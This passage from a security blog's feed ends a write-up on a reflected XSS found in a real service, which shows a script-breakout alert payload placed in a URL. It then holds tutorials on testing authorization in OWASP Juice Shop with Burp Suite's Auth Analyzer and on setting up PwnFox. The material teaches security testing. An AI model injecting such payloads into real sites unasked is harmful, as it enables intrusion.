&lt;p&gt;As you can see from the screenshot above, the escape was successful and we were able to trigger the alert box!&lt;/p&gt;

&lt;p&gt;Btw, you can also achieve this same result by adding the &lt;code&gt;&amp;lt;/script&amp;gt;&amp;lt;script&amp;gt;alert("Test")&amp;lt;/script&amp;gt;&lt;/code&gt; on the URL and sending the request like that:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fccsk2f104u9yd5myipm6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fccsk2f104u9yd5myipm6.png" alt="Screenshot showing the added JavaScript in the URL" width="800" height="268"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  That's it!
&lt;/h2&gt;

&lt;p&gt;I wrote this blog post to demonstrate that it's possible to find these "simple" XSS vulnerabilities in real-world services. I also want to remind you that working through lab examples is not pointless! I’ve sometimes felt that way myself, especially since the lab environments are often designed to be intentionally vulnerable. But these exercises really do help build the skills needed for real-world testing.&lt;/p&gt;

&lt;h2&gt;
  
  
  Background
&lt;/h2&gt;

&lt;p&gt;As an Information Security Specialist at &lt;a href="https://www.2ns.fi/en/" rel="noopener noreferrer"&gt;2NS&lt;/a&gt;, I get to learn something new about cybersecurity every day. Through this blog, I aim to share insights, tools, and techniques that I find valuable in my work, hoping to help others in the field. &lt;/p&gt;

&lt;p&gt;Follow me on Instagram &lt;a href="https://www.instagram.com/whatminjahacks/" rel="noopener noreferrer"&gt;@whatminjahacks&lt;/a&gt; for a behind-the-scenes look at my work as an ethical hacker, and to learn more cybersecurity tips and insights!&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>javascript</category>
    </item>
    <item>
      <title>Testing Authorization with Auth Analyzer in Burp Suite</title>
      <dc:creator>whatminjacodes [she/they]</dc:creator>
      <pubDate>Wed, 18 Sep 2024 10:17:05 +0000</pubDate>
      <link>https://forem.com/whatminjacodes/testing-authorization-with-auth-analyzer-in-burp-suite-3b65</link>
      <guid>https://forem.com/whatminjacodes/testing-authorization-with-auth-analyzer-in-burp-suite-3b65</guid>
      <description>&lt;h2&gt;
  
  
  Background
&lt;/h2&gt;

&lt;p&gt;As an Information Security Specialist at &lt;a href="https://www.2ns.fi/en/" rel="noopener noreferrer"&gt;2NS&lt;/a&gt;, I get to learn something new about cybersecurity every day. Through this blog, I aim to share insights, tools, and techniques that I find valuable in my work, hoping to help others in the field. &lt;/p&gt;

&lt;p&gt;In this post, I’ll be discussing the Auth Analyzer extension and how it can be used to effectively test authorization in web applications.&lt;/p&gt;

&lt;h2&gt;
  
  
  What is Auth Analyzer?
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://portswigger.net/bappstore/7db49799266c4f85866f54d9eab82c89" rel="noopener noreferrer"&gt;Auth Analyzer&lt;/a&gt; is a Burp Suite extension designed to help security testers evaluate authorization mechanisms in web applications. It automates the process of checking access control vulnerabilities, such as horizontal and vertical privilege escalation. The extension allows testers to define multiple user roles and automatically send requests from these sessions to verify if a user can perform actions or access resources outside their intended permissions.&lt;/p&gt;

&lt;h2&gt;
  
  
  Tutorial
&lt;/h2&gt;

&lt;p&gt;Let's install and use Auth Analyzer next.&lt;/p&gt;

&lt;h3&gt;
  
  
  Prerequisites
&lt;/h3&gt;

&lt;p&gt;This tutorial will not cover how to set up the PwnFox extension for your browser and Burp Suite. I have written another tutorial on that, so please check it out first, and then come back here: &lt;a href="https://dev.to/whatminjacodes/how-to-use-pwnfox-with-burp-suite-5ail"&gt;How to use PwnFox in Burp Suite&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;My setup:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Ubuntu 22.04.4 LTS&lt;/li&gt;
&lt;li&gt;Burp Suite Community Edition (free version) with PwnFox extension installed&lt;/li&gt;
&lt;li&gt;Firefox browser with PwnFox extension installed&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Install Auth Analyzer Extension
&lt;/h3&gt;

&lt;p&gt;Installing the Auth Analyzer extension is simple! Just open Burp Suite, go to Extensions -&amp;gt; BApp Store, find Auth Analyzer from the list of available extensions, and click "Install".&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz80gxz65eclvlci3w1mc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fz80gxz65eclvlci3w1mc.png" alt="Installing the extension" width="800" height="403"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This will add a new tab to Burp Suite, as seen in the screenshot above.&lt;/p&gt;

&lt;h3&gt;
  
  
  Create an Account for the Test Webpage
&lt;/h3&gt;

&lt;p&gt;Let's use &lt;a href="https://owasp.org/www-project-juice-shop/" rel="noopener noreferrer"&gt;OWASP Juice Shop&lt;/a&gt; as an example to use Auth Analyzer with. OWASP Juice Shop is an intentionally insecure web application that "can be used in security trainings, awareness demos, CTFs, and as a guinea pig for security tools!"&lt;/p&gt;

&lt;p&gt;Open a new tab container with a color of your choice from the PwnFox browser extension, navigate to OWASP Juice Shop (&lt;a href="https://juice-shop.herokuapp.com/#/" rel="noopener noreferrer"&gt;https://juice-shop.herokuapp.com/#/&lt;/a&gt;), and go to Account -&amp;gt; Login from the top right corner of the page.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwhwyuita226vt7wxfuvn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwhwyuita226vt7wxfuvn.png" alt="Login page on the website" width="800" height="493"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Then click "Not yet a customer?".&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo6w3w1u1rjofcm7f078a.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo6w3w1u1rjofcm7f078a.png" alt="Registration of a new user" width="415" height="550"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Add some details to the registration form and click "Register." You don't need to use any real information.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftqcfdtlszxffhkw4nrlx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftqcfdtlszxffhkw4nrlx.png" alt="Logged in user" width="525" height="332"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After this, you should be able to log in using the credentials you chose. Do the same with another container tab and create a new account with different information. Remember to choose a different tab color so the container will open a new session.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3gib3da0ocwznxqqvsvl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3gib3da0ocwznxqqvsvl.png" alt="Burp highlighting the different sessions" width="630" height="315"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now you have two different user sessions open on two different container tabs. Go to Burp Suite and open Proxy -&amp;gt; HTTP history to ensure you get traffic highlighted with two different colors.&lt;/p&gt;

&lt;h3&gt;
  
  
  Creating Sessions in Auth Analyzer
&lt;/h3&gt;

&lt;p&gt;Next, we can set up the Auth Analyzer extension in Burp Suite. Go to the Auth Analyzer tab in Burp.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa57fucfsgs1p68som9u7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fa57fucfsgs1p68som9u7.png" alt="Renaming the session" width="800" height="467"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You can double-click on "user1" to rename the session to something you want. I created two users, example-user-1 and example-user-2, so I'll just stick to "user1" and "user2" as my session names.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh7c7kh6pdox1jmxdsulj.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh7c7kh6pdox1jmxdsulj.png" alt="Finding cookies from requests" width="800" height="439"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Then go to Proxy -&amp;gt; HTTP history and find a request that has a Cookie header set. I chose the "GET /rest/user/whoami" request and copied the entire Cookie header.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxx6k0izgxis311mhw0p9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxx6k0izgxis311mhw0p9.png" alt="Setting cookies in the extension" width="800" height="270"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Go back to the Auth Analyzer tab and paste the copied cookie into "Header(s) to Replace."&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr4nf8el52rc7faud2qwk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fr4nf8el52rc7faud2qwk.png" alt="Creating a new session" width="435" height="182"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Then click on the three dots next to "user1" and select "Add New Session." Give the session a name and copy the cookie of another user into "Header(s) to Replace", similarly as we did with "user1."&lt;/p&gt;

&lt;p&gt;Now you have two different sessions set in Auth Analyzer! When we start the extension, it will send requests to the website using both cookies.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd4btyfzzzanv7lopfq27.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fd4btyfzzzanv7lopfq27.png" alt="Extension settings" width="800" height="202"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;On the right side of the extension, there are some settings. You can add the website you are testing to scope, so the extension will not send the cookies to any external services. One way to do this is by going to the Target tab in Burp.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqblom07yiogd76qfl6e0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fqblom07yiogd76qfl6e0.png" alt="Adding scope" width="565" height="270"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Go to Target -&amp;gt; Site map to see a list of websites you have browsed while Burp Suite has been proxying traffic. Right-click on "&lt;a href="https://juice-shop.herokuapp.com" rel="noopener noreferrer"&gt;https://juice-shop.herokuapp.com&lt;/a&gt;" and select "Add to scope."&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffwjxb7b6tdaepf501ksx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffwjxb7b6tdaepf501ksx.png" alt="Prompt about the scope" width="512" height="240"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You will see a prompt asking if you want Burp to stop sending out-of-scope items to the history and other Burp tools. Click "Yes."&lt;/p&gt;

&lt;p&gt;Now we can go back to the Auth Analyzer tab and click the "Analyzer Stopped" button to start the extension.&lt;/p&gt;

&lt;h3&gt;
  
  
  Testing Access Control with Auth Analyzer
&lt;/h3&gt;

&lt;p&gt;Go back to your browser and start navigating the website. The Auth Analyzer extension tab in Burp should start receiving traffic.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foo5n672py9nsanuv1jez.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Foo5n672py9nsanuv1jez.png" alt="Traffic visible in the extension" width="800" height="344"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The extension will show if the requests sent with different cookies return the "same," "similar," or "different" responses.&lt;/p&gt;

&lt;p&gt;If the response is "same," it means both sessions were able to see the same response to the sent request. "Similar" has some similarities but is not exactly the same, and "different" means the response was different for both users.&lt;/p&gt;

&lt;p&gt;Click one of the requests on the list. This will show the request and response sent using the different sessions. You can click "Compare view" to see the requests of both users at the same time.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhrxhnn1bgi6fv7ql34ja.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhrxhnn1bgi6fv7ql34ja.png" alt="Profile request" width="800" height="331"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;As seen in the screenshot above, we can see the request to "/profile" was "same" for "user1" and "different" for "user2." I was using the session of "user1" when navigating to the profile page on the browser, so the response for the request was expected to be the "same" for "user1." It would be an issue if the response for "user2" was also tagged as "same," because it would mean that "user2" was able to see the profile of "user1." Though I guess getting a "500 Internal Server Error" would also be an issue on a real page :D&lt;/p&gt;

&lt;p&gt;But this is the basics of how you can test for issues in authorization and access control using Auth Analyzer! Remember to stop the extension after you have navigated through the webpage on the browser window so it will not keep sending multiple requests to the website constantly.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftwnacjkkxweqxvgdylb5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftwnacjkkxweqxvgdylb5.png" alt="Unath user session" width="610" height="225"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;By the way, you can use Auth Analyzer to also check authorization for unauthenticated users by creating a new session and just leaving the Cookie header empty!&lt;/p&gt;

&lt;h3&gt;
  
  
  That's it!
&lt;/h3&gt;

&lt;p&gt;I hope this blog post helped you to understand how Auth Analyzer can be used for testing authorization and access control!&lt;/p&gt;

&lt;p&gt;Follow me on Instagram &lt;a href="https://www.instagram.com/whatminjahacks/" rel="noopener noreferrer"&gt;@whatminjahacks&lt;/a&gt; for a behind-the-scenes look at my work as an Information Security Specialist at &lt;a href="https://www.2ns.fi/en/" rel="noopener noreferrer"&gt;2NS&lt;/a&gt;, and to learn more cybersecurity tips and insights!&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>security</category>
    </item>
    <item>
      <title>How to use PwnFox with Burp Suite</title>
      <dc:creator>whatminjacodes [she/they]</dc:creator>
      <pubDate>Wed, 11 Sep 2024 11:34:53 +0000</pubDate>
      <link>https://forem.com/whatminjacodes/how-to-use-pwnfox-with-burp-suite-5ail</link>
      <guid>https://forem.com/whatminjacodes/how-to-use-pwnfox-with-burp-suite-5ail</guid>
      <description>&lt;p&gt;I'm working as an Information Security Specialist at &lt;a href="https://www.2ns.fi/en/" rel="noopener noreferrer"&gt;2NS&lt;/a&gt; and this time I wanted to teach you how to use PwnFox extension with Burp Suite!&lt;/p&gt;

&lt;h2&gt;
  
  
  What is PwnFox, and why is it used?
&lt;/h2&gt;

&lt;p&gt;PwnFox is a Firefox and Burp Suite extension that provides useful tools for security testing websites. It can be especially helpful when performing access control tests with the Auth Analyzer Burp extension (I have published a blog post about this too: &lt;a href="https://dev.to/whatminjacodes/testing-authorization-with-auth-analyzer-in-burp-suite-3b65"&gt;Testing Authorization with Auth Analyzer in Burp Suite&lt;/a&gt;).&lt;/p&gt;

&lt;p&gt;PwnFox utilizes Firefox Containers to create separate environments for different user roles or sessions during security testing. Firefox Containers allow you to open new tabs in separate containers, each with its own isolated environment, including separate cookies, local storage, cache, and site data. This means that cookies set in one container are not accessible in another, and each container acts like a separate browser profile.&lt;/p&gt;

&lt;p&gt;If you want to learn more about how Firefox Containers work, you can read the tutorial written by Mozilla: &lt;a href="https://support.mozilla.org/en-US/kb/how-use-firefox-containers" rel="noopener noreferrer"&gt;How to use Firefox containers&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;What PwnFox does is color-code and tag HTTP traffic based on the originating container. This makes it easy to see which requests are coming from which profile and allows for more precise traffic analysis. Burp Suite will highlight the traffic coming from each container to match the color of the container you are using.&lt;/p&gt;

&lt;h2&gt;
  
  
  Tutorial
&lt;/h2&gt;

&lt;p&gt;Let's install and use PwnFox next.&lt;/p&gt;

&lt;h3&gt;
  
  
  Prerequisites
&lt;/h3&gt;

&lt;p&gt;This tutorial will not cover how Burp Suite is used. I recommend having at least a basic understanding of Burp Suite before following this tutorial. PortSwigger has created a great tutorial series that you can start with: &lt;a href="https://portswigger.net/burp/pro/video-tutorials" rel="noopener noreferrer"&gt;Burp Suite Professional video tutorials&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;My setup:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Ubuntu 22.04.4 LTS&lt;/li&gt;
&lt;li&gt;Clean installation of Burp Suite Community Edition (free version)&lt;/li&gt;
&lt;li&gt;Clean installation of Firefox&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Setup PwnFox Browser Extension
&lt;/h3&gt;

&lt;p&gt;Let's start by installing the PwnFox browser extension.&lt;/p&gt;

&lt;p&gt;Open Firefox and go to Settings -&amp;gt; Extensions and Themes, and search for the PwnFox extension.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwol19yy5fcg14365rkd5.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwol19yy5fcg14365rkd5.png" alt="Firefox extension" width="800" height="313"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Open the installed extension and check "Proxify only containers tabs" and "Enable."&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F478nk7m6jamevpmh3qrw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F478nk7m6jamevpmh3qrw.png" alt="PwnFox extension" width="352" height="430"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This setting ensures that only the network traffic from new tabs opened by clicking on a color under "New container tab" in the extension will be sent to Burp Suite.&lt;/p&gt;

&lt;h3&gt;
  
  
  Install PwnFox Burp Suite Extension
&lt;/h3&gt;

&lt;p&gt;Next, we need to install the extension in Burp Suite.&lt;/p&gt;

&lt;p&gt;Go to &lt;a href="https://github.com/yeswehack/PwnFox/releases" rel="noopener noreferrer"&gt;Github&lt;/a&gt; and download the latest PwnFox.jar file.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbazocqx60f3py8bp3j3s.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fbazocqx60f3py8bp3j3s.png" alt="GitHub download page" width="800" height="440"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Open Burp Suite and go to Extensions -&amp;gt; Installed -&amp;gt; Add.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgmpvdedvdg20hvww3erw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgmpvdedvdg20hvww3erw.png" alt="Burp extensions" width="737" height="379"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Select the downloaded PwnFox.jar file and click "Next". The following screen should display "PwnFox loaded" if the setup did not encounter any issues. Click "Close".&lt;/p&gt;

&lt;p&gt;Now, the setup is complete!&lt;/p&gt;

&lt;h3&gt;
  
  
  Using PwnFox with Burp Suite
&lt;/h3&gt;

&lt;p&gt;So, how do you actually use this extension?&lt;/p&gt;

&lt;p&gt;First, open a new container tab from the PwnFox browser extension. Choose any color you like.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffug43s7s51jfwyql54wa.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffug43s7s51jfwyql54wa.png" alt="Green tab chosen" width="782" height="485"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I chose the green one, as you can see from the address bar and on top of the "New Tab."&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frgpgo5h43tmficbxrean.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Frgpgo5h43tmficbxrean.png" alt="Green and pink tabs chosen" width="520" height="145"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you open another tab with a different color, it will be easy to identify which container you are using.&lt;/p&gt;

&lt;p&gt;Open Burp Suite and go to Proxy -&amp;gt; HTTP history tab. Try navigating to any website using two different container tabs.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F78x0nj6so0s4kib6brty.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F78x0nj6so0s4kib6brty.png" alt="Burp highlighting the traffic with green and pink" width="630" height="215"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You should see network traffic that is highlighted according to the container color you chose.&lt;/p&gt;

&lt;h3&gt;
  
  
  That's it!
&lt;/h3&gt;

&lt;p&gt;I hope this blog post helped you to understand what PwnFox extension is and how it can be installed! &lt;/p&gt;

&lt;p&gt;You can also follow my Instagram &lt;a href="https://www.instagram.com/whatminjahacks/" rel="noopener noreferrer"&gt;@whatminjahacks&lt;/a&gt; if you are interested to see more about my days as an Information Security Specialist at &lt;a href="https://www.2ns.fi/en/" rel="noopener noreferrer"&gt;2NS&lt;/a&gt; and learn more about cyber security with me!&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>security</category>
    </item>
    <item>
      <title>List of All My Blog Posts - with direct links</title>
      <dc:creator>whatminjacodes [she/they]</dc:creator>
      <pubDate>Wed, 12 Jun 2024 13:44:18 +0000</pubDate>
      <link>https://forem.com/whatminjacodes/direct-links-to-all-my-blog-posts-fap</link>
      <guid>https://forem.com/whatminjacodes/direct-links-to-all-my-blog-posts-fap</guid>
      <description>&lt;p&gt;I wanted to pin a list of all my blog post so those are easier to find. So here's a list of everything that I have written!&lt;/p&gt;

&lt;p&gt;I will also update this list whenever I publish a new blog post :)&lt;/p&gt;




&lt;h3&gt;
  
  
  Cyber Security
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://dev.to/whatminjacodes/from-software-developer-to-ethical-hacker-1g8l"&gt;From Software Developer to Ethical Hacker&lt;/a&gt;&lt;/p&gt;

